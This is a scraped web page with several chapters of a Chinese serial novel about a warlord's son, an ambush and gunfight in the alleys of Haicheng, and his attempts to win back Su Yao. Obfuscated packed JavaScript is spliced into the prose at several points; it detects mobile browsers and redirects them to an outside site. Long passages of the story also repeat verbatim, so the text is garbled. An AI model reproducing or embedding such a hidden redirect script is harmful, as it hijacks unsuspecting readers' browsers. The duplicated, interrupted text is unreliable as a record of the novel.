孙少甫连连摆手，仍旧叹气，“不过是想息事宁人罢了，谁不想守着老婆孩子，安稳过日子？这不是没有别的路可走吗？鄙人是真的希望，少帅不要落到我这个境地。” 萧纵沉默不语，一边咳嗽一边抽烟，等一支烟抽完，他才笑了：“罢了，打从孙处长来了海城，我也没尽过地主之谊，今天就卖你一个面子。” 两人对视一眼，脸上都是一喜。 “少帅这是肯放过他们了？” 褚英开口，“就是嘛，多大点事，何必闹的……” “你去趟老宅吧。” 萧纵打断了他的话，褚英一愣，有些回不过神来，“去老宅干什么？” “给我找个台阶啊。” 萧纵侧头看向孙少甫，“孙处长觉得呢？” 褚英这才反应过来他的意思，萧纵也很清楚这两件事不能同时发作，可他竟然选择，把爆炸袭击的事放下。 这对两人而言，简直是意外之喜，比起几个相当于是钱袋子的商户来说，租界的安危显然更重要，但是褚英仍旧很震惊，他仿佛不认识萧纵了一样，上上下下仔细打量着他，满眼的陌生。 “看什么呢？” 萧纵瞥他一眼，褚英回神，连忙摇头，“没什么，既然你都开口了，那我亲自去谈，一定让伯父那边的诚意，给得足足的。” 他没说大话，毕竟老宅今时不同往日，为了对萧纵下手，他也是下了血本的，只是没想到萧纵命大，炸弹就在座位底下，人都活下来了，他不得不弃卒保车，向总统投诚，导致手下的兵马被分割，元气大伤，根本无法再和萧纵抗衡。 这也是打从萧纵报复以来，萧远山一直没有动作的原因。 他和孙少甫急匆匆告辞走了，萧翼眼看着两人身影消失，忍不住开口，“少帅，你可差点被炸死，这账真的就不和老宅那边算了？” 萧纵瘫在沙发上，“再闹下去，总统估计也忍不了了，这时候借坡下驴是最合适的，别忘了，我们的目的是震慑，不是真的要撕破脸。” “可是……” 萧翼十分憋屈，他从小跟着萧纵，他对自己而言，既是上封，又是引路人，他实在是受不了萧纵被受这种气。 “瞧你那样。” 萧纵扔了个果子过去，目光又落在了手里的怀表身上，“打仗打的生意都不好做了，一直入不敷出的，养兵总得花钱吧？所以算了，只要给得够多，再让他炸一次也不是不行啊。” 萧翼被噎得说不出话来，萧纵这人就是这样，连自己也能明码标价，算计个彻底。 他没再多劝，颔首退了下去，心里却有了点别的想法。 萧纵给了人情，那就得让苏姚看见才行，沈知聿身后的那两个尾巴，他决定换个法子收拾。 第178章 无差别攻击 周家求爷爷告奶奶，没能找到人帮忙，何家被当众打了脸，自然也想着要找回场子。 只是两家用尽了手段，却发现根本毫无用处，甚至还在变本加厉。 走投无路之下，何坚成出面请了陈家做和事佬，为双方调停。 苏姚接到邀请的时候，十分惊讶，“你做什么了？” 虽然沈知聿说了会给她讨回来，但她以为的讨回来，不过是要个赔礼道歉而已，怎么就到了还要请陈家出面的程度了？ 沈知聿满脸写着一言难尽，“有人横插了一脚，事情闹得有些大，但不要紧，他不至于那么没有分寸。” 苏姚迷茫地看着他，“有人横插一脚？是在故意给你惹麻烦吗？” 沈知聿顿了顿，如果说周家的事，还有人扣在他头上，可何家求到了陈家头上，就证明他们已经清楚了真正的黑手是谁。 毕竟，谁不知道，陈家和谁亲近？ 这点麻烦，算不到他头上。 “都是小问题，但可能需要你出面，你想去吗？” 苏姚思考了一下，还是点头，“去，日后侦查少不得要走动，不好和他们闹得太僵。” 第二天，两人准时出发，街上很明显地热闹了起来，苏姚有些意外，“海城的混乱平息了吗？怎么看着，人多了很多？” 沈知聿倒是不意外，如同萧纵所说，再闹下去，就该翻脸了，自然要见好就收。 只是时间比他以为的，要早了一些，兴许这就是胡来的代价吧。 他张了张嘴，正要应和一声，忽然从后视镜里，看见了一辆熟悉的车子。 他眯起眼睛仔细盯着看，果然是萧纵的车。 阴魂不散。 他脚下一沉，车子瞬间提了速，放着大路不走，拐进了小路。 “怎么了？” “萧纵跟着我们呢。” 他其实很清楚，萧纵肯定已经知道了他们的目的地，但还是想给他添点麻烦。 车子一路七拐八绕，专挑难走的路走，车子不停地急转，摩擦，萧纵在车里被甩来甩去，身上的伤口都被撞开了几处。 “沈知聿！” 他咬牙切齿地开口，抬手死死拉住了手环，手背上青筋凸起。 萧翼从后视镜里担忧地看了他一眼，“少帅，您还好吗？要不咱们直接去陈园算了。” 萧纵一咬牙，“你没听见她前两天怎么说的？我再露面她就走，我去了也不敢进去啊。” 萧翼摇了摇头，似是不知道说什么好，只能加快速度，紧紧咬着前面的车，两辆车在巷子里飞速穿梭，冷不丁一辆自行车在巷子另一端闪过，萧纵一愣，“办事处的人，你没料理？” 萧翼大约是猜到萧纵看见人了，连忙应了一声，“还没来得及，属下想着，当着苏小姐的面收拾，兴许能让她意识到危险，主动离开沈家。” 萧纵张了张嘴，萧翼这话不算错，英雄救美，是最容易招惹女人好感的事情，但不知道为什么，他心里有点打怵。 “小心点，别真的让人伤了苏姚。” 犹豫再三，他还是开口，萧翼忍不住笑了，“以前少帅可没这么紧张过，您还真是不一样了。” 萧纵脸上有点挂不住，他还是不大习惯被人调侃这种事，哪怕他心里已经承认了，爱意也遮都遮不住，可仍旧会觉得不自在。 爱人这种事，总让他觉得很没有安全感，仿佛是拿走了他的一切，再把他扔进了狼窝里一样。 “看路。” 他不尴不尬地教训了一句，萧翼连忙收回目光，专心致志地开车，冷不丁车身一歪，车头瞬间撞上了旁边的墙。 烟尘四起，两人被震得脑袋发蒙，却很快意识到出了什么事，轮胎被扎了。 跟踪的人，需要隐蔽，不可能会专门来阻拦他，而且跟踪而已，为什么要扎车胎？ “他们要动手了。” 萧纵声音一沉，萧翼也明白过来，不敢马虎，虽然轮胎扎了，车身不稳，可已经没有时间换胎了，他只能咬牙再次启动了车子，一路往前追了过去。 巷子狭窄，汽车反而不如自行车来得灵活方便，萧纵刚看见办事处的人，想要开枪，对方就又缩回了巷子里，再不肯冒头，追逐间，他们渐渐失去了沈知聿的踪迹。 枪声却在此时响了起来。 “快！” 萧纵低喝一声，不用他吩咐，萧翼也已经循着声音，加快速度冲了过去，到跟前的时候，果然瞧见几辆自行车正游鱼一样往前冲，沈知聿显然也察觉到了危险，速度提得更快了一些。 “堵了他们的路。” 萧翼会意，一脚油门将车子提到了最高速，车身彻底失去平衡，好在巷子狭窄，硬生生顶着车身冲了过去，随着一声十分刺耳的刹车声，车子横在了巷子口，堵住了所有自行车的去路，将他们和沈知聿隔绝开来。 萧纵推开车门打算下去，一梭子弹却先打了过来，玻璃瞬间破碎，贴着他的头皮就擦了过去。 他惊出一身冷汗，脸色瞬间变了。 “操！” 萧翼也被吓得一哆嗦，狠狠骂了一声，“少帅，这群王八蛋，好像不认识咱们。” 周家求爷爷告奶奶，没能找到人帮忙，何家被当众打了脸，自然也想着要找回场子。 只是两家用尽了手段，却发现根本毫无用处，甚至还在变本加厉。 走投无路之下，何坚成出面请了陈家做和事佬，为双方调停。 苏姚接到邀请的时候，十分惊讶，“你做什么了？” 虽然沈知聿说了会给她讨回来，但她以为的讨回来，不过是要个赔礼道歉而已，怎么就到了还要请陈家出面的程度了？ 沈知聿满脸写着一言难尽，“有人横插了一脚，事情闹得有些大，但不要紧，他不至于那么没有分寸。” 苏姚迷茫地看着他，“有人横插一脚？是在故意给你惹麻烦吗？” 沈知聿顿了顿，如果说周家的事，还有人扣在他头上，可何家求到了陈家头上，就证明他们已经清楚了真正的黑手是谁。 毕竟，谁不知道，陈家和谁亲近？ 这点麻烦，算不到他头上。 “都是小问题，但可能需要你出面，你想去吗？” 苏姚思考了一下，还是点头，“去，日后侦查少不得要走动，不好和他们闹得太僵。” 第二天，两人准时出发，街上很明显地热闹了起来，苏姚有些意外，“海城的混乱平息了吗？怎么看着，人多了很多？” 沈知聿倒是不意外，如同萧纵所说，再闹下去，就该翻脸了，自然要见好就收。 只是时间比他以为的，要早了一些，兴许这就是胡来的代价吧。 他张了张嘴，正要应和一声，忽然从后视镜里，看见了一辆熟悉的车子。 他眯起眼睛仔细盯着看，果然是萧纵的车。 阴魂不散。 他脚下一沉，车子瞬间提了速，放着大路不走，拐进了小路。 “怎么了？” “萧纵跟着我们呢。” 他其实很清楚，萧纵肯定已经知道了他们的目的地，但还是想给他添点麻烦。 车子一路七拐八绕，专挑难走的路走，车子不停地急转，摩擦，萧纵在车里被甩来甩去，身上的伤口都被撞开了几处。 “沈知聿！” 他咬牙切齿地开口，抬手死死拉住了手环，手背上青筋凸起。 萧翼从后视镜里担忧地看了他一眼，“少帅，您还好吗？要不咱们直接去陈园算了。” 萧纵一咬牙，“你没听见她前两天怎么说的？我再露面她就走，我去了也不敢进去啊。” 萧翼摇了摇头，似是不知道说什么好，只能加快速度，紧紧咬着前面的车，两辆车在巷子里飞速穿梭，冷不丁一辆自行车在巷子另一端闪过，萧纵一愣，“办事处的人，你没料理？” 萧翼大约是猜到萧纵看见人了，连忙应了一声，“还没来得及，属下想着，当着苏小姐的面收拾，兴许能让她意识到危险，主动离开沈家。” 萧纵张了张嘴，萧翼这话不算错，英雄救美，是最容易招惹女人好感的事情，但不知道为什么，他心里有点打怵。 “小心点，别真的让人伤了苏姚。” 犹豫再三，他还是开口，萧翼忍不住笑了，“以前少帅可没这么紧张过，您还真是不一样了。” 萧纵脸上有点挂不住，他还是不大习惯被人调侃这种事，哪怕他心里已经承认了，爱意也遮都遮不住，可仍旧会觉得不自在。 爱人这种事，总让他觉得很没有安全感，仿佛是拿走了他的一切，再把他扔进了狼窝里一样。 “看路。” 他不尴不尬地教训了一句，萧翼连忙收回目光，专心致志地开车，冷不丁车身一歪，车头瞬间撞上了旁边的墙。 烟尘四起，两人被震得脑袋发蒙，却很快意识到出了什么事，轮胎被扎了。 跟踪的人，需要隐蔽，不可能会专门来阻拦他，而且跟踪而已，为什么要扎车胎？ “他们要动手了。” 萧纵声音一沉，萧翼也明白过来，不敢马虎，虽然轮胎扎了，车身不稳，可已经没有时间换胎了，他只能咬牙再次启动了车子，一路往前追了过去。 巷子狭窄，汽车反而不如自行车来得灵活方便，萧纵刚看见办事处的人，想要开枪，对方就又缩回了巷子里，再不肯冒头，追逐间，他们渐渐失去了沈知聿的踪迹。 枪声却在此时响了起来。 “快！” 萧纵低喝一声，不用他吩咐，萧翼也已经循着声音，加快速度冲了过去，到跟前的时候，果然瞧见几辆自行车正游鱼一样往前冲，沈知聿显然也察觉到了危险，速度提得更快了一些。 “堵了他们的路。” 萧翼会意，一脚油门将车子提到了最高速，车身彻底失去平衡，好在巷子狭窄，硬生生顶着车身冲了过去，随着一声十分刺耳的刹车声，车子横在了巷子口，堵住了所有自行车的去路，将他们和沈知聿隔绝开来。 萧纵推开车门打算下去，一梭子弹却先打了过来，玻璃瞬间破碎，贴着他的头皮就擦了过去。 他惊出一身冷汗，脸色瞬间变了。 “操！” 萧翼也被吓得一哆嗦，狠狠骂了一声，“少帅，这群王八蛋，好像不认识咱们。” 第179章 还好我能干 “不认识，还是不想认识，谁能说得准啊。” 萧纵咬牙切齿的开口，他不敢抬头，盲开了几枪，给自己挣了个间隙出来，滚到车子另一侧下了车，这才借着车子的掩护，解决了两个跟着的探员。 可这一折腾，身上还没愈合的伤口遭受了挤压，他控制不住地闷哼了一声。 “少帅，没事吧？” 萧翼听见动静，侧头看了一眼，伸手去推车门，却发现车门被墙抵住了，他根本推不开，正打算从副驾驶绕出去，什么东西就咕噜噜滚了过来。 意识到那是什么，他瞳孔骤缩，“少帅，小心！” 车身被炸翻，萧翼耳朵懵了一下，有些听不清楚身边的动静，用力甩了下头才恢复了神志，也意识到自己被卡在了驾驶位上。 他奋力挣扎，腿却根本动不了。 耳边传来钝钝的砸击声，他循声看去，就瞧见萧纵正试图打开车门。 只是车门被压得变了形，根本打不开。 似是意识到了这一点，萧纵很快就换了方向，打算从后座爬进去查看情况，可他刚一动弹，一梭**就打了过来，有一发甚至是擦着萧纵的耳朵过去的。 萧翼惊出了一身冷汗，“少帅，别管我！” 他开口大喊，耳边砸车门的动静却仍旧没消停，他眼睁睁看着萧纵为了拽开车门，硬生生挣开了胳膊上的伤口，殷红的血顺着手臂就淌了下来。 外头响起脚步声，**从碎裂的车窗里射进来，萧翼抓住机会反击，只是他视野受阻，根本看不清对方，只能盲打，一个**空了都没能解决一个人。 他低低骂了一声，连忙去换**，心头却忽地一凛，他抬眸看去，就瞧见面前趴了一个人，正举着黑洞洞的枪口对准他。 他瞳孔骤然一缩，随着一声枪响，面前的人被萧纵一枪爆头。 “发什么愣？” 萧纵低喝一声，萧翼回神，连忙换好了**。 萧纵没顾得上管他，意识到车门砸不开，索性站起来用力踹了几脚。 可姿势一变，整个人就暴露了，**暴雨一般射了过来。 哪怕萧翼还在车里，也被**波及，自他大臂穿了过去，他闷哼一声，剧痛却让他的思绪变得十分清晰，他无比清楚地意识到，再这么下去，他和萧纵都得出事。 “少帅，走，别管我！” 说话的同时，他开枪反击，试图为萧纵打掩护。 萧纵却没开口，随着耳边一声巨响，射向车身的**却忽然少了，只剩了刺耳的金铁撞击声。 萧翼一愣，一侧头，就瞧见车窗破了的玻璃处，被一扇变形的车门挡住了，萧纵终于将车门拽了下来，可他仍旧出不去。 萧纵也发现这点，掰了几次，却根本拽不动萧翼，他需要工具，可根本拿不到，为今之计，也只有一条路走。 “在这里等我，” 他喘着粗气开口，“收拾了他们我再来找你。” 萧翼心头一颤，还想劝萧纵快走，可眼前却已经不见了萧纵的身影，他只好将嘴边的话咽了下去，继续开枪为萧纵打掩护，并尽量保全自己。 好在车是特制的，车门厚实，硬生生抗住了暴雨似的攻击。 很快，**追着萧纵远去。 萧纵一个纵跳，扑进了一堆建筑杂物后头，**紧随其后，贴着他的鞋底射进了砂石里，他贴在墙上直喘气，竖起耳朵听外头的脚步声。 杂乱，迅速，还有自行车的声音。 听这动静，倒像是人都追过来了，他抿紧了唇，将口中的血腥味压了下去，刚才那一番这疼痛，将又激发了他被炸出来的那些内伤，现在喉咙里都是痒意，他却不敢咳，怕咳出一口血来。 嘴角却仍旧扯了一个笑出来，谁说这些人不认识他们的？ 这不是挺会找人的？全都追着他来了。 倒是也省了心，不用再担心萧翼。 他心里默默算了一下**的数量，一个**十颗**，刚才他应该是开了五枪，里头还剩五颗**。 他谨慎地往外头看了一眼，两个骑车的，三个步行的，刚好五个。 运气，可真不错。 他抬手瞄准，胳膊却一阵无力，他瞥了眼不停流血的胳膊，眉头皱了起来，这伤口，是真的烦人。 可外头的脚步声越来越近，他根本顾不得处理伤口，如果他没听错的话，还有人在悄悄往他身后绕，这可不是个好苗头。 他眸子一沉，透过杂物的缝隙瞄准，随即一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769680|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪爆头，他本想再开第二枪，可周宝成的亲信显然不是废物，立刻反击，他被**压得抬不起头来，当机立断，起身就跑。 巷子纵横交错，一人骑着自行车，正迅速朝他逼近，果然是往后方在绕路。 对方显然也看见了他，抬枪就打，萧纵侧身避开要害，仍旧被一枪打中了肩胛，本就不大好用的右手，现在彻底失去了力气。 他咬牙忍住了嘴边的闷哼，换了左手拿枪，本想继续奔逃，却一眼瞧见了空旷的巷子，前面没有掩体了，这么跑下去，会被这个人追上。 他眸子一沉，停在了巷子口。 车轮的摩擦声越来越近，就在对方出来的一茬，他猛地闪身，枪口几乎贴在了对方脸上。 “砰”的一声响，自行车飞了出去，车上的人却重重砸在了地上，双眼还睁得老大。 其余人迅速循着**追了过来，却只瞧见了尸体和血迹。 “他跑不远，追！” 一人开口，其余人立刻往前追去，**却忽然自身后响了起来，萧纵借着尸体的遮掩，一枪命中，可对方人多，当即开始反击。 许是接连**，对方的攻势几近疯狂，**密不透风，只听动静，就让人胆战心惊。 身上的尸体硬生生被打穿，萧纵清楚地意识到，再这么下去，他也会被打穿，可他不敢浪费**，只能被动等待。 ……五，六，七，八。 就是现在！ 他猛地掀开身上的尸体，稳准狠地一枪开了出去。 正在换**的人，应声倒地。 他就知道，这型号的枪，**里只有八发**。 他靠在墙上大喘气，总算结束了，他掏出怀表，对着里头的人像用力亲了一口，“你看看，跟着他多危险，还好我能干……” 他喃喃开口，肩膀的剧痛涌上来，失血让他浑身无力，眼前一阵阵发黑，他这才想起来要处理伤口，刚从衣袋里掏出帕子，他就意识到了不对劲，他刚才，好像只开了四枪。 他立刻想去数尸体数量，可刚转过身，就迎面看见一辆自行车从墙头扑下来，对着他的头就撞了过来，他瞳孔一缩，连忙抬手开枪，却只听见了一声哑响—— 他没有**了。 第181章 她不会跟我和好了 萧翼一时没听懂，等将萧纵扶起来，他才一个激灵反应过来，“您是说，苏小姐刚才那句话，是觉得咱们在自导自演？您怎么不解释啊？” 他有些着急，没人过来查看的理由很简单，因为海城之前的混乱就是他们闹的。 巡查的大兵当然得了吩咐，出了事不会立刻过来，免得抓到自己人。 哪成想，这竟然成了苏姚误会萧纵的理由。 “少帅……” “行了。” 萧纵打断了他，他不大想说话，靠在椅子上直喘气，好一会儿才再次开口，“先回去吧。” 萧翼看出他心情极差，不好多言，只能给了司机一个眼色，车子很快启动，朝着帅府缓缓而去。 一路上两人都很沉默，直到车子停在帅府门前，萧纵才喃喃开口，“你说，她这么排斥我，是不是不可能跟我和好了？” 萧翼一愣，开门的手都顿住了，他侧头看过来，眼底都是惊疑，“您是不是……” 不想再挽回苏小姐了？ 可话到嘴边他又咽了下去，因为问了也没用，不管是不是，他都不知道怎么劝萧纵，他能理解萧纵继续挽回，也能理解他为什么放弃。 萧纵活了三十年，从来都是骄傲的，头一回这么低声下气地上赶着，却半分回馈都没得到，哪怕之前真的是他做错了，可能做到这个地步，对他而言也很难得了，想放弃也无可厚非。 他心里很可惜，却只是叹了口气，什么都没再说。 车子缓缓驶过兴味斋，不多时，沈知聿和苏姚就从门里走了出来。 两人与何坚成道了别，这才上了车。 车门一关，沈知聿就看了过来，“何太太八面玲珑，我倒是第一回瞧见她吃瘪。” 这场调停宴，何家的重点一直在苏姚身上，显然是知道沈知聿不好对付，所以挑了个软柿子捏，可没想到苏姚装傻充愣的，硬是一句有用的没说。 “不过就是敷衍人。” 苏姚并没有露出半分欢喜，还在想刚才的那场枪战，她隐约意识到了不对劲，萧纵虽然的确想让她回去，但他不会拿自己冒险，更不会因为她而受伤。 自己在萧纵那里，应该没有这个分量。 刚才那场追逐，应该的确是有别人所为。 “我们，真的被办事处盯上了吗？” 沈知聿被问的脸色也沉了下去，“是我被盯上了。” 他强调道，“刚才萧翼说得很清楚了，最近我不能和你一起行动了，免得把火烧到你身上。” 苏姚眉头皱得更紧，虽然来之前说了这次行动以她为主，可她很清楚沈知聿的价值在自己之上，不管是他的贡献，还是对组织的支持。 如果需要保全一个人的话，她会毫不犹豫地选择对方。 “我知道褚英有个相好，我想办法打听一下消息。” 苏姚斟酌着开口，沈知聿却摇了摇头，“我们当务之急，还是找到唐黎，明天，我们就去一趟帅府。” 苏姚并不惊讶，他们应该想到了一起。 萧纵本就不是个重感情的人，这次她的反应很可能激怒对方，不再采取怀柔，而是选择更直接更暴力的手段，毕竟他要的是东西，不是人。 他们不能给他这个机会。 “好，” 苏姚应了一声，又安抚道，“别太担心，为了应对今天这种情况，我还是留了一个后手的。” 她说着打开手包，从里面取出一个盒子来，盒子打开，是个平安锁。 “萧纵给我的，他应该还记得。” 她看了眼那平安锁，忽然想起来萧纵给她戴上时说的话，他要她收好了，千万不能丢。 其实相较于其他首饰而言，这金锁并不算名贵，她不知道萧纵为什么要特意嘱咐那一句，但因为这句话，来海城的时候，她特意带上了这个锁。 她也不指望有大用处，只是希望能给萧纵一点暗示，让他以为怀柔是有效的，别说翻脸就翻脸，打他们一个措手不及。 沈知聿看了一眼，有些惊讶，“这不大像是他的品味。” 苏姚扯了下嘴角，她不知道萧纵喜欢什么，只知道他不喜欢什么。 车子慢慢回了沈公馆，苏姚特意去挑了厚礼，毕竟是救命之恩，于情于理都得感谢。 第二天临出门前，她将金锁戴在了脖子上，却又遮进了衣领里。 “怎么样？” 她理了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不会跟我和好了 萧翼一时没听懂，等将萧纵扶起来，他才一个激灵反应过来，“您是说，苏小姐刚才那句话，是觉得咱们在自导自演？您怎么不解释啊？” 他有些着急，没人过来查看的理由很简单，因为海城之前的混乱就是他们闹的。 巡查的大兵当然得了吩咐，出了事不会立刻过来，免得抓到自己人。 哪成想，这竟然成了苏姚误会萧纵的理由。 “少帅……” “行了。” 萧纵打断了他，他不大想说话，靠在椅子上直喘气，好一会儿才再次开口，“先回去吧。” 萧翼看出他心情极差，不好多言，只能给了司机一个眼色，车子很快启动，朝着帅府缓缓而去。 一路上两人都很沉默，直到车子停在帅府门前，萧纵才喃喃开口，“你说，她这么排斥我，是不是不可能跟我和好了？” 萧翼一愣，开门的手都顿住了，他侧头看过来，眼底都是惊疑，“您是不是……” 不想再挽回苏小姐了？ 可话到嘴边他又咽了下去，因为问了也没用，不管是不是，他都不知道怎么劝萧纵，他能理解萧纵继续挽回，也能理解他为什么放弃。 萧纵活了三十年，从来都是骄傲的，头一回这么低声下气地上赶着，却半分回馈都没得到，哪怕之前真的是他做错了，可能做到这个地步，对他而言也很难得了，想放弃也无可厚非。 他心里很可惜，却只是叹了口气，什么都没再说。 车子缓缓驶过兴味斋，不多时，沈知聿和苏姚就从门里走了出来。 两人与何坚成道了别，这才上了车。 车门一关，沈知聿就看了过来，“何太太八面玲珑，我倒是第一回瞧见她吃瘪。” 这场调停宴，何家的重点一直在苏姚身上，显然是知道沈知聿不好对付，所以挑了个软柿子捏，可没想到苏姚装傻充愣的，硬是一句有用的没说。 “不过就是敷衍人。” 苏姚并没有露出半分欢喜，还在想刚才的那场枪战，她隐约意识到了不对劲，萧纵虽然的确想让她回去，但他不会拿自己冒险，更不会因为她而受伤。 自己在萧纵那里，应该没有这个分量。 刚才那场追逐，应该的确是有别人所为。 “我们，真的被办事处盯上了吗？” 沈知聿被问的脸色也沉了下去，“是我被盯上了。” 他强调道，“刚才萧翼说得很清楚了，最近我不能和你一起行动了，免得把火烧到你身上。” 苏姚眉头皱得更紧，虽然来之前说了这次行动以她为主，可她很清楚沈知聿的价值在自己之上，不管是他的贡献，还是对组织的支持。 如果需要保全一个人的话，她会毫不犹豫地选择对方。 “我知道褚英有个相好，我想办法打听一下消息。” 苏姚斟酌着开口，沈知聿却摇了摇头，“我们当务之急，还是找到唐黎，明天，我们就去一趟帅府。” 苏姚并不惊讶，他们应该想到了一起。 萧纵本就不是个重感情的人，这次她的反应很可能激怒对方，不再采取怀柔，而是选择更直接更暴力的手段，毕竟他要的是东西，不是人。 他们不能给他这个机会。 “好，” 苏姚应了一声，又安抚道，“别太担心，为了应对今天这种情况，我还是留了一个后手的。” 她说着打开手包，从里面取出一个盒子来，盒子打开，是个平安锁。 “萧纵给我的，他应该还记得。” 她看了眼那平安锁，忽然想起来萧纵给她戴上时说的话，他要她收好了，千万不能丢。 其实相较于其他首饰而言，这金锁并不算名贵，她不知道萧纵为什么要特意嘱咐那一句，但因为这句话，来海城的时候，她特意带上了这个锁。 她也不指望有大用处，只是希望能给萧纵一点暗示，让他以为怀柔是有效的，别说翻脸就翻脸，打他们一个措手不及。 沈知聿看了一眼，有些惊讶，“这不大像是他的品味。” 苏姚扯了下嘴角，她不知道萧纵喜欢什么，只知道他不喜欢什么。 车子慢慢回了沈公馆，苏姚特意去挑了厚礼，毕竟是救命之恩，于情于理都得感谢。 第二天临出门前，她将金锁戴在了脖子上，却又遮进了衣领里。 “怎么样？” 她理了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我要追求你 “阿嚏！” 萧纵猛地打了个喷嚏，忍不住抬手揉了揉鼻梁，眼底却都是狐疑，他看向陈施宁，“你确定有用？” “追求人家姑娘，就得这么来。” 陈施宁边说边削梨，果皮却越削越厚。 金锦急匆匆赶回来，一进门就看见这幅场景，她本不想理会，可身体却控制不住，她一把拿过梨和刀子，边削边开口，“属下听说您昨天遇袭了？又是哪个王八蛋？没完没了了是吧？真当咱们好欺负？” 她越说越阴沉，最近海城的混乱，是她一手策划执行的，为此忙得一直没露面，好不容易得了消息，暂时停止计划，她正打算休息休息呢，就得到了萧纵伤上加伤的消息，这才急匆匆赶了回来。 “替人挡灾了。” 萧纵咳了一声，他现在终于能安生躺在床上不乱跑了，因为昨天的厮杀导致他伤口挤压反复，再胡来小命都要不保，这才被强制卧床休息。 金锦却仍旧不痛快，这办事处就是设来给他们添堵的。 她恶狠狠地摁了下刀子，陈施宁看着她那削得比自己还要厚的果皮和只剩了一点的果肉，有心阻止，却不等开口，削好了的梨就被塞了过来，他只好接过，无奈地啃了一口，浓郁的酸味充斥着口腔，他整张脸都皱了起来。 他艰难控制住了表情，一抬头就发现金锦将带着厚厚果肉的果皮塞进了嘴里。 “你大爷的。” 他忍不住骂了一句，金锦当没听见，又提起了另一件事，“海城大学发生了坍塌，几位教授都**。” “这关你们什么事啊？” 陈施宁一边啃酸酸的梨核，一边皱眉开口。 萧纵没理他，苍白的脸上露出一抹凝重，“都是教授？” “是。” 金锦加重了语气，“还都是物理化学方面的稀缺人才。” 两人对视一眼，眼神都沉了沉。 总统一心以为和谈能解决问题，可对方却趁这个机会在清剿高等人才，这就是冲着灭族**来的。 陈施宁实在是啃不下那梨核了，随手扔进垃圾篓里，这才再次开口，“每天死那么多人，你们操得完心吗？要我说，过好自己的日子就行了。” 萧纵眉头皱得更紧，却没再继续这个话题，“你家的事怎么样了？” “还能怎么样？都乱成一锅粥了，” 陈施宁脸上难得露出忧愁来，“我爹说了，他要颐养天年了，现在我几个叔伯整天**，明争暗抢的，**不知道多少人了，我真不明白，我爹为什么忽然要退。” 萧纵眸子一暗，为什么呢？ 当然是因为做错了事啊。 看在陈施宁的面子上，他才给陈**这个体面，不然算计到他头上来的人，怎么会有这么好的下场？ “伯父自然有伯父的打算，你呢？要争吗？” 陈施宁叹了口气，“这还由得了我？我说不争，我那些叔伯信吗？他们不会放过我的。” 金锦怜悯地看他一眼，陈施宁又振作起来，“不过老话说得好，背靠大树好乘凉，我有你呢，他们也不敢太放肆。” 萧纵叹了口气，正要说什么，萧茵就冲了进来，“大哥，苏姚来了。” 他猛地坐了起来，险些将输液的瓶子拽下来。 金锦连忙摁住他，陈施宁笑起来，“我说什么来着，追求姑娘，就得用这招，你要是早跟我学，还能有今天？” 萧纵没听他废话，催着金锦，“快，给我收拾一下。” 他拿过床头的手电筒，对着玻璃照了照自己的脸。 一天没收拾，他下巴上都是胡茬。 “你去客厅陪她说说话。” 他吩咐萧茵，拽开输液瓶就要去更衣，陈施宁看懵了，回过神来连忙将人拦住，“你收拾什么呀？苦肉计你知道吗？这个时候你该……” “起开！” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786346|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵一把将他推开，进了更衣室。 陈施宁栽在床上，骂骂咧咧地爬起来，“喊我过来，又不听我的，萧纵，你迟早还得吃瘪。” 萧纵充耳不闻，换好衣裳下了楼，苏姚却没在，客厅里只有沈知聿一个人。 他脸上的笑瞬间不见了影子，“人呢？” 沈知聿眼看着他变脸如翻书，气笑了，却硬是不开口，还是萧茵指了指外头，“她没进来，直接去凉亭了。” 萧纵心下一松，抬脚就往凉亭去，身后好像有人喊了他两声，他连头都没回，脚下越走越快。 短短的距离，他歇了两次才看见凉亭。 苏姚坐在那里，抬手去接天上细密的雨丝。 萧纵一时有些恍惚，还是那个人，还是那个地方，给人的感觉却完全不一样了。 以往每次看见苏姚在凉亭里，他总有种她会被吹走的错觉，可今天，完全没有。 她静**在那里，眼神沉静坚定，莫名透着一股力量。 是他完全陌生的样子。 他忽然就生出一种自己认错人的感觉来。 苏姚很快察觉到了他的存在，慢慢站了起来。 萧纵这才走过去，苏姚难得没有抗拒他的靠近，安静地等着他靠近，随即从包里拿出一张支票来，“花我很喜欢，但无功不受禄。” “你知道我不会收的。” 萧纵站不住，扶着桌子慢慢坐了下去。 苏姚没有收回支票，只放在了桌面上，用茶盏压住了。 “我不太明白，少帅想做什么。” 苏姚主动开口，萧纵定定看着她，“你明白。” 苏姚抬眸看过来，眉头皱得很紧。 